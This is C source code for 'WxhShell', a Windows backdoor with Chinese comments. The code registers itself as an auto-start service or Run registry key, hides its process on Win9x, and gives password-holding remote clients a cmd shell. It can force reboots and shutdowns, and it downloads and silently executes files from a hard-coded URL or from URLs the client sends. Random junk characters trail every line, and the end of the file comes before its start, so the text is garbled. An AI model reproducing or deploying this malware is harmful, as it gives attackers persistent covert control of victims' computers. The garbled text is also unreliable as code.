    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I}|a7,8   
    if(Boot(SHUTDOWN)) ;ZAwf0~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =fnBE`Uc  
    else { Haktr2I  
    closesocket(wsh); 5XHejHn>  
    ExitThread(0); R_+:nCB@,  
    } TB.>?*<n]  
    break; & ck}3\sQ  
    } D^m2iW;  
  // 获取shell Udtz zka  
  case 's': { |,oLZC Na  
    CmdShell(wsh); c;X,-Q9  
    closesocket(wsh); i6n,N)%H  
    ExitThread(0); 2P8wvNDG  
    break; EZI#CLT[  
  } )LKJfoo PY  
  // 退出 nM.g8d K  
  case 'x': { hR7uAk_?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l P=I0A-  
    CloseIt(wsh); |T/OOIA=sI  
    break; y3 N[F  
    } +3-5\t`  
  // 离开 Wj|W B*B  
  case 'q': { \WC,iA%Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uQdy  
    closesocket(wsh); rYdNn0mh k  
    WSACleanup(); `3VI9GmQ  
    exit(1); zw+wq+2"  
    break; Yu)GV7\2  
        } 5,^DT15a4P  
  } >M{98NH  
  } `{ >/'o  
%RtL4"M2j  
  // 提示信息 /LWk>[Z;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sBI/`dGZV  
} 8VQ!&^9!U#  
  } q\i&E Rr  
(Ytr&gh;0  
  return; K O\HH  
} }ixCbuD  
>/4[OPB0R  
// shell模块句柄 P nE7}  
int CmdShell(SOCKET sock) Y(1?uVYW\d  
{ T}Wbt=\M  
STARTUPINFO si; 6U8esPs,  
ZeroMemory(&si,sizeof(si)); 0Mn |Yb4p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _MIheCvV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qP;1LAX  
PROCESS_INFORMATION ProcessInfo; .,qh,m\Fo  
char cmdline[]="cmd"; DN=W2MEfc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MLTS<pW/  
  return 0; .J @mpJdY  
} nxuH22:  
x5PM ]~"p  
// 自身启动模式 \l3z <\  
int StartFromService(void) N3#^Ifn[  
{ "pK<d~Wu  
typedef struct 19O    
{ 7n84`|=  
  DWORD ExitStatus; ;Q vQ fV4  
  DWORD PebBaseAddress; X0j>g^b8  
  DWORD AffinityMask; .3_u5N|[=W  
  DWORD BasePriority; .7Yox1,  
  ULONG UniqueProcessId; _\k?uUo&,^  
  ULONG InheritedFromUniqueProcessId; Y[PC<-fyf  
}   PROCESS_BASIC_INFORMATION; *mj=kJ7(  
pV8tn!  
PROCNTQSIP NtQueryInformationProcess; vdUKIP =|_  
Tzj v-9^V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G!C }ULq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oKz! Xu%Hl  
,37<F XX,  
  HANDLE             hProcess; SfY 5Xgp  
  PROCESS_BASIC_INFORMATION pbi; l*wGKg"x3  
eF7I 5k4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); & uwOyb  
  if(NULL == hInst ) return 0; :'q$emtY  
?ZC!E0]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l+y;>21sTu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l\N2C4NG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b=sY%(2s  
j$6Q]5KdoS  
  if (!NtQueryInformationProcess) return 0; ps`j>vX*  
hop| xtai;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ()Wu_Q  
  if(!hProcess) return 0; M(\{U"%@?  
o>+mw|{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,vMAX?c  
$f+I#uJ  
  CloseHandle(hProcess); T)q Uf H  
a0A=R5_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GJS(  
if(hProcess==NULL) return 0; oz]3 Tx  
0cfGI%  
HMODULE hMod; `?l /HUw  
char procName[255]; rk;]7Wu  
unsigned long cbNeeded; T]/>c  
(w"(RM~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZO<\rX (  
f9y+-GhaD  
  CloseHandle(hProcess); PC255  
yEh{9S%6p  
if(strstr(procName,"services")) return 1; // 以服务启动 Hc|cA(9sh9  
u+6D|  
  return 0; // 注册表启动 ;[P>  
} ?5};ONjN  
X+u1p?  
// 主模块 a!u5}[{  
int StartWxhshell(LPSTR lpCmdLine) ?D9iCP~~  
{ pJl/d;Cyrb  
  SOCKET wsl; LH_ U#P`E  
BOOL val=TRUE; 14uv[z6  
  int port=0; N|"kuRN#  
  struct sockaddr_in door; ~g#/q~UE  
IW@phKz  
  if(wscfg.ws_autoins) Install(); GCw4sb4~w  
%FqQ+0^  
port=atoi(lpCmdLine); 8 ?y|  
br k*;  
if(port<=0) port=wscfg.ws_port; -h ^MX  
Ijz*wq\s;  
  WSADATA data; [wQJVYv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -U9C{q?h  
%{^|Av1Uz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S&[9Vb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *D[yA  
  door.sin_family = AF_INET; Q]K$yo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )~nieQEZQ  
  door.sin_port = htons(port); rADzJ#CU \  
./'d^9{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [C;Neslo  
closesocket(wsl); \K%M.>]vq  
return 1; ^Ojg}'.Ygv  
} kou7_4oS  
=h ~n5wQG  
  if(listen(wsl,2) == INVALID_SOCKET) { ~mK +Q%G5  
closesocket(wsl); +NvpYz  
return 1; 8uW%jG3/  
} k w   
  Wxhshell(wsl); {%y|A{}c  
  WSACleanup(); W|n$H`;R  
9pS:#hg  
return 0; ~MYE8xrId  
uKD }5M?{  
} G'dN<Nw6  
5U]@ Y?  
// 以NT服务方式启动 %Kp^wf#o9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vfmY >nr  
{ $bZ-b1{c C  
DWORD   status = 0; M:&%c3  
  DWORD   specificError = 0xfffffff; 3kF+wifsz  
oZl%0Uy?9I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `cN8AcRHP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9zCuVUcd$.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OTJMS_IT  
  serviceStatus.dwWin32ExitCode     = 0; YH^@8   
  serviceStatus.dwServiceSpecificExitCode = 0; ryA+Lli.  
  serviceStatus.dwCheckPoint       = 0; \6"=`H0}  
  serviceStatus.dwWaitHint       = 0; bH'2iG  
2*Pk1 vrI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); co^h2b  
  if (hServiceStatusHandle==0) return; U&a(WQV9&  
.4$F~!aj9  
status = GetLastError(); 8xh x*A  
  if (status!=NO_ERROR) y+{)4ptg$<  
{ hH%fWB2(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ! R3P@,j  
    serviceStatus.dwCheckPoint       = 0; m!P<# |V  
    serviceStatus.dwWaitHint       = 0; ];b+f@  
    serviceStatus.dwWin32ExitCode     = status; 72*j6#zS  
    serviceStatus.dwServiceSpecificExitCode = specificError; v*<rNZI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UA ]fKi  
    return; du#f_|xG  
  } 9e vQQN6D|  
K~S*<?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @M'qi=s*  
  serviceStatus.dwCheckPoint       = 0; Z'}%Mkm`i}  
  serviceStatus.dwWaitHint       = 0; Q1|zX@,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Tm7LaM  
} 5 ddfdIp  
Z 5)v  
// 处理NT服务事件,比如:启动、停止 Ck"db30.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ux| QGT2LY  
{ ?.lo[X<,*  
switch(fdwControl)  {d0-.  
{ hdSP#Y'-  
case SERVICE_CONTROL_STOP: Ry xu#]s  
  serviceStatus.dwWin32ExitCode = 0; ZU+_nWnl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t+]1D@hv  
  serviceStatus.dwCheckPoint   = 0; 6iF&!Fd>J  
  serviceStatus.dwWaitHint     = 0; NuUiW*|`7  
  { c14d0x{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %.l={B,i  
  } T{"Ur :p  
  return; [^6z>  
case SERVICE_CONTROL_PAUSE: U?5lqq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eMmNQRmH  
  break; e5n]@mu%  
case SERVICE_CONTROL_CONTINUE: m.! M#x2!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iF837ng5  
  break; 3]9Rmx  
case SERVICE_CONTROL_INTERROGATE: yG7H>LF?8  
  break; !cM<&3/  
}; b09xf"D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sK&kp=zu  
} cL;%2TMk  
d!Gy#<H  
// 标准应用程序主函数 g;6/P2w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8TP~=qU  
{ CV\y60n  
1TR+p? "  
// 获取操作系统版本 k<+Sj h$  
OsIsNt=GetOsVer(); A|:+c*7]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vwh ;QJxb  
e.%I#rNI  
  // 从命令行安装 V+@}dJS  
  if(strpbrk(lpCmdLine,"iI")) Install(); m{X{h4t  
>wt.)c?5  
  // 下载执行文件 -$0}rfX  
if(wscfg.ws_downexe) { D M+MBK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U1E@pDH  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?*+U[*M  
} SOM? 0.  
]sL.+.P  
if(!OsIsNt) { !t"/w6X1I  
// 如果时win9x,隐藏进程并且设置为注册表启动 @SiV3k  
HideProc(); E QU@';~8  
StartWxhshell(lpCmdLine); ?Fn y_{&^H  
} bPP@  
else Cb?  !+U  
  if(StartFromService()) jQ%1lQ#R)  
  // 以服务方式启动 a{^z= =  
  StartServiceCtrlDispatcher(DispatchTable); 3%1wQXr0  
else e7{6<[k3+$  
  // 普通方式启动 rg k1.0U0  
  StartWxhshell(lpCmdLine);  p#]9^oA  
(@xC-*  
return 0; :f39)g5>  
} LmqSxHs0Q  
R3lZ|rxv:  
iv6G9e{cx  
YjTr49Af0  
=========================================== GQY" +xa8]  
Oy=0Hsh@x  
2#lpIj  
mhhc}dS(H  
@S}j=k  
/4 pYhJ8S  
" Is3Y>oX  
X;6;v]  
#include <stdio.h> :'C?uk ?  
#include <string.h> sfw* _}y  
#include <windows.h> wUr(i*  
#include <winsock2.h> c|9g=DjK  
#include <winsvc.h> !]g[u3O  
#include <urlmon.h> 36+/MvIT  
f['lY1#V1  
#pragma comment (lib, "Ws2_32.lib") /ZabY  
#pragma comment (lib, "urlmon.lib") 2 SD Z  
[u K,.G  
#define MAX_USER   100 // 最大客户端连接数 ';Nc;9  
#define BUF_SOCK   200 // sock buffer fcF|m5  
#define KEY_BUFF   255 // 输入 buffer kjV>\e  
4To$!=  
#define REBOOT     0   // 重启 ~< UYJc  
#define SHUTDOWN   1   // 关机 %u&Vt"6m=  
Y#V(CIDe  
#define DEF_PORT   5000 // 监听端口 (EWGX |QA  
UF5_be,D  
#define REG_LEN     16   // 注册表键长度 ^i_v\E[QU  
#define SVC_LEN     80   // NT服务名长度 a1I-d=]  
z5iCQ4C<  
// 从dll定义API |z_Dw$-xm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M=;csazN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [3-u7Fx!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >@bU8}rT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Eb9h9sjv  
B\rY\  
// wxhshell配置信息 e> 9X  
struct WSCFG { }6%\/d1~ 6  
  int ws_port;         // 监听端口 &XCd2  
  char ws_passstr[REG_LEN]; // 口令 2RNee@!JJP  
  int ws_autoins;       // 安装标记, 1=yes 0=no =GP L>a&  
  char ws_regname[REG_LEN]; // 注册表键名 MYara;k  
  char ws_svcname[REG_LEN]; // 服务名 jmq^98jB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2@Nd02v|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fI0"#i v}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g_l-@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *.wj3' wV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >T [Y>]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C,> n  
W%^!<bFk}m  
}; 1:T"jsWw  
#M w70@6  
// default Wxhshell configuration '*Dp2Y{7  
struct WSCFG wscfg={DEF_PORT, -;"A\2_y  
    "xuhuanlingzhe", ( EJ1g^|"  
    1, Ofoh4BL'1@  
    "Wxhshell", |;Jt * _  
    "Wxhshell", 8lqmd1v  
            "WxhShell Service", 3*%+NQIj  
    "Wrsky Windows CmdShell Service", 5X];?(VTsb  
    "Please Input Your Password: ", 1nvT={'R  
  1,  Lhg  
  "http://www.wrsky.com/wxhshell.exe", VK*H1EH1  
  "Wxhshell.exe" rBL2A  
    }; w0$+v/  
p</t##]3ks  
// 消息定义模块 ='kCY}dkO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k-^^Ao*@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #Cs/.(<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 67T.qX2I$  
char *msg_ws_ext="\n\rExit."; mz<,nR\  
char *msg_ws_end="\n\rQuit."; d<OdQvW.  
char *msg_ws_boot="\n\rReboot..."; $d-yG553  
char *msg_ws_poff="\n\rShutdown..."; xgNV0;g,  
char *msg_ws_down="\n\rSave to "; sEw ?349Bz  
d<=!*#q;o  
char *msg_ws_err="\n\rErr!"; A\7sP =  
char *msg_ws_ok="\n\rOK!"; IR2Qc6+{  
T&S=/cRBK}  
char ExeFile[MAX_PATH]; qycf;Kl:6  
int nUser = 0; -3d`e2^&}  
HANDLE handles[MAX_USER]; Kt]vTn7!9  
int OsIsNt; ~LF M,@  
vYLspZ;S  
SERVICE_STATUS       serviceStatus;  4J=6U&b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9$[MM*r  
XD!}uDZ^  
// 函数声明 u0?TMy.%  
int Install(void); x=W s)&H_Y  
int Uninstall(void); /s(PFN8#Y  
int DownloadFile(char *sURL, SOCKET wsh); cyjgi /Z  
int Boot(int flag); WyQ8}]1b  
void HideProc(void); ?0z/i^I  
int GetOsVer(void); _E-{*,7bZS  
int Wxhshell(SOCKET wsl); K!>3`[:I"  
void TalkWithClient(void *cs); P$ b5o  
int CmdShell(SOCKET sock); fD_3lbiL(  
int StartFromService(void); -s0J8b  
int StartWxhshell(LPSTR lpCmdLine); Ut1s~b1  
T2|<YJ=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^Nav8dma  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hOIg 7=v  
v33[Rk'  
// 数据结构和表定义 /@&uaw  
SERVICE_TABLE_ENTRY DispatchTable[] = 8) `  
{ \0qFOjVj  
{wscfg.ws_svcname, NTServiceMain}, = K`]cEL  
{NULL, NULL} l<"B[  
}; bgInIe  
b3GTsX\2|  
// 自我安装 ]8cD,NS  
int Install(void) dj6Lf  
{ ^:O*Sx.CA  
  char svExeFile[MAX_PATH]; |NjyO>@Pa  
  HKEY key; vL"n oLs  
  strcpy(svExeFile,ExeFile); 3] U/^f3  
Ut2x4$9  
// 如果是win9x系统,修改注册表设为自启动 dW^#}kN7V  
if(!OsIsNt) { sJg3WN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ')fIa2dO/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }4Gn$'e  
  RegCloseKey(key); , d4i0;2}+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4tapQgj24  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $7Lcn9 ?G  
  RegCloseKey(key); cf_X=;yaqy  
  return 0; L#_QrR6Sny  
    } M|$A)D1  
  } 7 :u+-U  
} MF::At[4   
else { <S@2%%W  
` -<S13  
// 如果是NT以上系统,安装为系统服务 x1#6~283  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &v r0{]V^  
if (schSCManager!=0) 6<n+p'+n  
{ /-3)^R2H  
  SC_HANDLE schService = CreateService BUsAEw M  
  ( Sa6YqOel@  
  schSCManager, \FyHIs  
  wscfg.ws_svcname, k0DX|O8mXV  
  wscfg.ws_svcdisp, .ityudT<  
  SERVICE_ALL_ACCESS, O<0-`=W,a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |Gb~[6u   
  SERVICE_AUTO_START, xkz`is77Y@  
  SERVICE_ERROR_NORMAL, y;LZX-Z-  
  svExeFile, -.vNb!=  
  NULL, sJLJVSv8c  
  NULL, V ;M'd@  
  NULL, bEzy KrN\  
  NULL, 2FTJxSC  
  NULL k%cT38V*  
  ); (K> 4^E8  
  if (schService!=0) qIgb;=V  
  { ]<E\J+5K  
  CloseServiceHandle(schService); Ml,87fo  
  CloseServiceHandle(schSCManager); }Q>??~mVl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !iGZo2LV  
  strcat(svExeFile,wscfg.ws_svcname); mINir-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9=MxuBl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e5cvmUF_W  
  RegCloseKey(key); / =:X,^"P  
  return 0; c< g{ &YJ  
    } j}DG +M  
  } p4wXsOQ}  
  CloseServiceHandle(schSCManager); Aj2yAg  
} lV<j?I~?Q  
} R&s\h"=*  
I!,FxOM|$  
return 1; 9xUAfU  
} Sc$]ar]S  
p%y|w  
// 自我卸载 }o#6g|"\sY  
int Uninstall(void) / CVhvK  
{ 1x4{~g\  
  HKEY key; &r !*Y&  
e? !A]2  
if(!OsIsNt) { Gcu?xG{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y+#Vz IZw  
  RegDeleteValue(key,wscfg.ws_regname); '|l1-yD_  
  RegCloseKey(key); H!dg(d^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aUX.4#|%  
  RegDeleteValue(key,wscfg.ws_regname); Q68q76  
  RegCloseKey(key); ?i7}d@636  
  return 0; Q>emyij  
  } ,v+~vXO&\  
} ojZvgF  
} (y!<^ Q  
else { 'uw=)8t7  
(Y%pk76d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &'-ze,k}  
if (schSCManager!=0) 0 lsX~d'W  
{ E%6}p++  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I= 'S).  
  if (schService!=0) =E''$b?Em  
  { @'{m-?*  
  if(DeleteService(schService)!=0) { 0(!D1G{ul  
  CloseServiceHandle(schService); Ks@  
  CloseServiceHandle(schSCManager); &c)n\x*  
  return 0; !4B($]t  
  } k&PxhDf  
  CloseServiceHandle(schService); u*J,3o} <  
  } 4=E9$.3a  
  CloseServiceHandle(schSCManager); EpCsJ08K  
} "eiZZSz  
} #4e Taik  
MxO0#  
return 1; LD~/*  
} <Prz>qL$  
-mlBr63Bj  
// 从指定url下载文件 Ht Z3n"2  
int DownloadFile(char *sURL, SOCKET wsh) pO.+hy  
{ 2Po e-=  
  HRESULT hr; !Z*2X ^  
char seps[]= "/"; '%$)"g]/#  
char *token; J`*!U4  
char *file; OTNcNY  
char myURL[MAX_PATH]; O%.c%)4Xo  
char myFILE[MAX_PATH]; D@5AI ](  
"Y Z B@  
strcpy(myURL,sURL); W9ZfD~(3-  
  token=strtok(myURL,seps); V~> x \  
  while(token!=NULL) +&7D ;wj=  
  { \/Z?QBFvz  
    file=token; mBC?Pg  
  token=strtok(NULL,seps); YM*{^BXp  
  } 4]F:QS% x  
E{m\LUd^ :  
GetCurrentDirectory(MAX_PATH,myFILE); ',o ,o%n  
strcat(myFILE, "\\"); A3VXh^y+  
strcat(myFILE, file); t<Iy `r7 1  
  send(wsh,myFILE,strlen(myFILE),0); [YQVZBT|{  
send(wsh,"...",3,0); gi|j ! m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l cHqg  
  if(hr==S_OK) 2nL [P#r  
return 0; &> Myf@  
else %. =B=*  
return 1; p,hDZea  
o/grM+_  
} Lc<v4Bp  
TmZ% ;TN  
// 系统电源模块 `@$qy&AJ  
int Boot(int flag) &&/2oP+z  
{ \J>a*  
  HANDLE hToken; 3]=j!_yJf  
  TOKEN_PRIVILEGES tkp; 1Y2]jz4  
7q2G/_  
  if(OsIsNt) { &R? \q*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q Q3a&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RqV* O}Am  
    tkp.PrivilegeCount = 1; To_Y 8 G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; owz6j:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5C}1iZEJ  
if(flag==REBOOT) { 8reis1]2S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3oH.1M/  
  return 0; R!mFMw"  
} lV4|(NQ9  
else { 5%+M:B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YueYa#7z  
  return 0; bqmb|mD  
} EDMuQu/D8  
  } IY Ilab\TZ  
  else { &!|'EW  
if(flag==REBOOT) { |\PI"rW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T$p!I RPt  
  return 0; `eD70h`XK  
} {yo<19kV@  
else { <OQn |zU\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?X'm>R. @  
  return 0; v}vwk8  
} fl8~*\;Xu  
} it Byw1/  
qL;OE.?oA  
return 1; C`4m#  
} ?Xdb%.   
3sh}(  
// win9x进程隐藏模块 [{}Hk%wlX  
void HideProc(void) s7"NK"  
{ t)!(s,;T  
w"A.*8Iu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NNOemTh  
  if ( hKernel != NULL ) IE^xk@  
  { E79'<;K,zs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %QYH]DR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $,@PY5r  
    FreeLibrary(hKernel); 0Yzm\"Ggv  
  } fJiY~mQ  
LqZsH0C  
return; |Ok@:Au  
} ? Zhnb0/  
z CS.P.$  
// 获取操作系统版本 i[IOR0  
int GetOsVer(void) bS1?I@  
{ zwLJ|>  
  OSVERSIONINFO winfo; vYPZVqF_$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !R`E+G@   
  GetVersionEx(&winfo); tL>c@w#Pv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j aU.hASj  
  return 1; y-.<iq  
  else Q\QSnMM&]  
  return 0; n|p(Cb#G  
} yhuzjn  
3 i*HwEh  
// 客户端句柄模块 prk@uYCa =  
int Wxhshell(SOCKET wsl) v@&UTU  
{  @mD$Z09~  
  SOCKET wsh; `K%f"by  
  struct sockaddr_in client; \aY<| 7zK  
  DWORD myID; ]jB`"to*}  
at )m*  
  while(nUser<MAX_USER) >WcOY7  
{ WA?We7m$  
  int nSize=sizeof(client); _+aMP=H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K!<3|d  
  if(wsh==INVALID_SOCKET) return 1; ?niv}/'%O  
pXhN?joe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9OS~;9YR  
if(handles[nUser]==0) KHT RoXt  
  closesocket(wsh); M(|6YF7u  
else B<Zm'hdX  
  nUser++; 3nbTK3,  
  } .',d*H))E7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sJ>JHv  
 r .`&z  
  return 0; U>-GM >  
} ]=%oBxWAP  
c!ul9Cw  
// 关闭 socket s}93nv*ez  
void CloseIt(SOCKET wsh) j9r%OZw{  
{ GQ8A}gwH  
closesocket(wsh); +Y_]<  
nUser--; *K'#$`2  
ExitThread(0); 9}|t`V"  
} KLpFW}  
#PGpB5vnaA  
// 客户端请求句柄 V2B: DIpr  
void TalkWithClient(void *cs) 6 9s%   
{ *?x[pqGq  
G Tz>}@W  
  SOCKET wsh=(SOCKET)cs; .)|2^ 'W  
  char pwd[SVC_LEN]; Jz@2?wSp  
  char cmd[KEY_BUFF]; g?gF*^_0  
char chr[1]; W5(.Hub}  
int i,j; 3| F\a|N  
EG J/r  
  while (nUser < MAX_USER) { /ptG  
ZPlY]e  
if(wscfg.ws_passstr) { ;XI=Y"h{%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I~&*8)xM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fU>4Ip1?y/  
  //ZeroMemory(pwd,KEY_BUFF); swfjKBfw+g  
      i=0; 'p&q}IO  
  while(i<SVC_LEN) { @ [<B:Tqo  
l~n=_R3  
  // 设置超时 vxk~( 3]<)  
  fd_set FdRead; \Z^Tk   
  struct timeval TimeOut; @0D  
  FD_ZERO(&FdRead); 1$nuh@-ys  
  FD_SET(wsh,&FdRead); _m#P\f'p  
  TimeOut.tv_sec=8; t $u.  
  TimeOut.tv_usec=0; j|IvDrm#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vy+kq_9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,F?O} ijk  
[-hsG E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]DK.4\^  
  pwd=chr[0]; t/c)[l hV  
  if(chr[0]==0xd || chr[0]==0xa) { Jyyr'1/<k  
  pwd=0; 0GcOI}  
  break; HEs.pET\  
  } "64D.c(r$  
  i++; $c];&)7q  
    } k p8kp`S7  
{TC_ 4Y|8  
  // 如果是非法用户,关闭 socket ,H5o/qNU`{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uE&2M>2  
} ?#J;\^  
s%@HchZ 1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~?:Xi_3Lo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BF(Kaf;<t.  
S !R:a>\  
while(1) { @ iaz_;  
FfibR\dhY  
  ZeroMemory(cmd,KEY_BUFF); ]3~X!(O  
$m0-IyXcv  
      // 自动支持客户端 telnet标准   rE4qPzL  
  j=0; c\N-B,m&  
  while(j<KEY_BUFF) { "xE;IpO[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DTM xfQdk  
  cmd[j]=chr[0]; ~.TKzh'eB  
  if(chr[0]==0xa || chr[0]==0xd) { Q) Y&h'.(  
  cmd[j]=0; =d1i<iw?-  
  break; I.'sK9\Zp  
  } IjrjLp[z$  
  j++; ZsL-vlv  
    } zXT[}J VV  
Yc~c(1VRz  
  // 下载文件 t zSg`7H!  
  if(strstr(cmd,"http://")) { Tsl0$(2W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OojQG  
  if(DownloadFile(cmd,wsh)) Y )9]I6n7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bPo*L~xdk  
  else .="[In '  
